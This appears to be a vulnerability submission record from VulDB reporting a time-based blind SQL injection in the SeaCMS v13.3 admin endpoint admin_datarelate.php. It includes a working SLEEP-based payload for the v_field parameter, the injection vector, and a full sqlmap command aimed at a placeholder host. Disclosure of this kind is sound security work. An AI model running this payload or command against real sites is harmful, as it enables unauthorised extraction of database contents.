| 标题 | SeaCMS V13.3 SQL Injection |
|---|
| 描述 | A SQL injection vulnerability exists in SeaCMS v13.3.
The vulnerable parameter is `v_field` in `/admin_datarelate.php?action=batchsubmit`.
The application fails to properly sanitize user input, which allows an attacker to
perform a time-based blind SQL injection.
Parameter: v_field (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: v_field=1 AND (SELECT 5628 FROM (SELECT(SLEEP(5)))gazO)&v_str1=1&v_str2=1
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
An attacker can exploit this issue to extract sensitive data by inferring database
information through conditional time delays. The vulnerability has been verified
using sqlmap with the following command:
sqlmap -u "http://target.com/30h9r/admin_datarelate.php?action=batchsubmit" \
--data="v_field=1&v_str1=1&v_str2=1" -p v_field --dbms=mysql \
--level=5 --risk=3 --batch --random-agent
Test environment:
- Ubuntu 22
- Apache 2.4.62
- PHP 5.6.40
- MySQL 5.7.43
- SeaCMS v13.3 |
|---|
| 来源 | ⚠️ https://github.com/coolcj-stack/seacms-v13.3-blind-based-sqli/blob/main/README.md |
|---|
| 用户 | BlackSpdier (UID 89912) |
|---|
| 提交 | 2025-09-07 17時09分 (1 年前) |
|---|
| 管理 | 2025-09-17 09時08分 (10 days later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 312813 [SeaCMS 12.9 admin_datarelate.php SQL注入] |
|---|
| 积分 | 0 |
|---|